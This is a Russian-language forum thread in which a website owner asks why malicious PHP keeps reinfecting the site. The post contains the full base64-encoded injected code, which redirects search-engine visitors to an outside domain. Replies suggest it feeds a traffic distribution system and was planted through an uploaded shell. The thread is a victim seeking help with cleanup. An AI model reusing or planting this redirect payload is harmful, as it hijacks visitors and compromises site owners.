Доброго дня уважаемые. проблема появилась месяц назад. на сайте обнаружил код PHP: eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ==")); из поисковика с сайта перекидывает на хз куда. Что я пробовал делать: Вычищал код ручками отовсюду с помощью notepad++ Заливал на комп проверял антивирусами и сканерами. Залил обратно все на сервер. поменял все пароли. Через неделю опять тоже самое. все сделал опять по этой схеме. так же заметил что права на файлах все были 777 . поставил права 644. через пару дней опять сайт заражен. что может быть? на сайте нет ничего самописного. стандартный обновленый движок стандартные плагины. пару штук всего. как поступить
Копай в сторону этого домена, где хостится, на кого регнут акк от хоста, логи акка, объясняй ситуацию, т.к. на данный домен установлена ТДС для слива трафика, либо это лендинг какой то пп по сливу траффика. Чото в этом роде. Первая гугленная страница по данному домену. ЗЫ И кстати домен не валид, не грузится из под адресной строки. А лишь с поисковых систем кидает судя по коду, юзерагентов. Вроде бред написал.
аналогичная ситуация точно такой же код во всех пхп скриптах, редиректит на левый сайт мой сайт на джумле. похоже изначально залили простейший шелл в папку /images и уже потом всё позаражали